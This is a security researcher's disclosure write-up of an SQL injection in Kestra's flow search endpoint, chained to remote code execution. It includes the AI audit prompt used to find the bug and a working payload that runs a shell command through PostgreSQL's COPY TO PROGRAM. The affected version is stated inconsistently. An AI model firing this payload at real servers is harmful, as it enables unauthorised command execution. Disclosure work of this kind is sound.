RCE in Kestra v1.3.6 - SQLi - PoC

I. Introduction

Kestra is an open-source tool that helps automate and manage workflows. It allows users to create and run workflows on a schedule or when an event occurs.

With Kestra, users can easily build and manage processes with just a few lines of simple configuration. Workflows can be created and monitored directly through the web interface, making system management and operations more convenient and reliable.

Vulnerable Version: Kestra v.1.3.2

Advisory: https://github.com/kestra-io/kestra/security/advisories/GHSA-365w-2m69-mp9x

II. Target selection

I was assigned the task of using AI to find bugs in open-source projects. After browsing GitHub Trending for a while, I happened upon Kestra.

Reading a few basic pieces of information, it seemed like a fairly promising target because the web app uses Java and includes functions that interact directly with the operating system.

III. Finding

After cloning the repository I immediately proceeded to prompt for bug hunting. Here I used:
- Claude CLI
- Model: Claude Sonnet 4-6

After some time prompting to find bugs that directly led to RCE, the model produced only false positives because the function actually allowed users to run commands. So I decided to look for a vulnerability different from RCE—one that posed a slightly easier to improve security risk: SQL Injection.

I used the following prompt (I also used AI to generate this prompt based on the application's source code and functions):

You are a senior offensive security researcher specialized in Java applications, Micronaut, JDBC, Hibernate, Jooq, QueryDSL, and SQL injection discovery.

Your task is to audit this Kestra codebase for SQL injection vulnerabilities.

IMPORTANT:
- Do not assume the application is safe because it uses ORM.
- Look for partial parameterization, dynamic ORDER BY, string concatenation, raw SQL fragments, custom query builders, JSON query interpolation, tenant filters, search APIs, pagination, sort fields, and repository abstractions.
- Prioritize REAL exploitable SQL injection, not theoretical findings.
- Think like a bug bounty hunter trying to build a working PoC.

Your workflow:

1. Enumerate all database interaction points
   - repositories
   - DAO classes
   - JDBC usage
   - EntityManager.createNativeQuery
   - jooq DSL.raw
   - StringBuilder SQL construction
   - custom filters/search endpoints
   - dynamic WHERE / ORDER BY / LIMIT clauses

2. Trace tainted user input from:
   - controllers
   - REST endpoints
   - query parameters
   - path variables
   - websocket handlers
   - API filters/search objects
   - pagination/sort parameters

3. Identify dangerous patterns such as:
   - string concatenation into SQL
   - String.format SQL
   - unvalidated ORDER BY
   - unvalidated column names
   - dynamic table names
   - raw SQL fragments
   - nativeQuery=true
   - JPQL injection
   - HQL injection
   - custom SQL builder utilities
   - filter expressions transformed into SQL

4. For every candidate:
   - show full source-to-sink data flow
   - identify exact vulnerable line
   - explain why parameterization fails or is bypassed
   - determine exploitability realistically
   - provide payload examples
   - explain DB-specific behavior
   - estimate impact

5. Try to build a practical PoC:
   - authentication requirements
   - reachable endpoint
   - example HTTP request
   - injection payload
   - expected SQL query after interpolation
   - impact (auth bypass, data exfiltration, RCE via DB features, etc.)

6. Be skeptical:
   - eliminate false positives
   - verify whether framework sanitization exists
   - check whether values are enum-restricted
   - check prepared statement usage carefully

7. Focus especially on:
   - search/filter APIs
   - execution history
   - logs
   - namespaces
   - flows
   - sorting
   - labels/tags
   - tenant filtering
   - PostgreSQL-specific operators
   - JSONB queries
   - Elasticsearch fallback layers
   - dynamic query generation

Output format:

## Candidate N
- Vulnerability type
- Reachable endpoint
- Source
- Sink
- Vulnerable code
- Exploitability analysis
- Payload
- Reconstructed SQL query
- Impact
- Confidence level

At the end:
- Rank findings by likelihood of being exploitable.
- Clearly separate confirmed SQLi from suspicious code.

After that, the AI produced a result showing it had found a piece of code vulnerable to SQL Injection, located in a search function. I saw potential security impact here because if queries can be stacked, the bug could be chained as:
CSRF -> SQL Injection -> RCE

I decided to set up an environment and continued to have the AI verify the bug; it confirmed the bug was real and that query stacking was indeed possible.

Here is the vulnerable request:

GET /api/v1/main/flows/search?sort=ida:asc&size=25&page=1&filters%5blabels%5d%5bEQUALS%5d%5bkey_test%5d=value_test

After that, I continued to use AI to build the payload and the final RCE payload:

GET /api/v1/main/flows/search?sort=ida:asc&size=25&page=1&filters%5blabels%5d%5bEQUALS%5d%5bkey_test%5d=any%22%7d%5d'))%20OR%201%3d1%20order%20by%20%22id%22%20asc%20nulls%20first)%20as%20%22page%22%20where%20true%20offset%20%3f%20rows%20fetch%20next%20%3f%20rows%20only%3b%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'bash%20-c%20%22id%20%3e%20%2ftmp%2fpwned%22'%3b%20--%201

Decoded:

any"}]')) OR 1=1 order by "id" asc nulls first) as "page" where true offset ? rows fetch next ? rows only; COPY (SELECT '') TO PROGRAM 'bash -c "id > /tmp/pwned"'; -- 1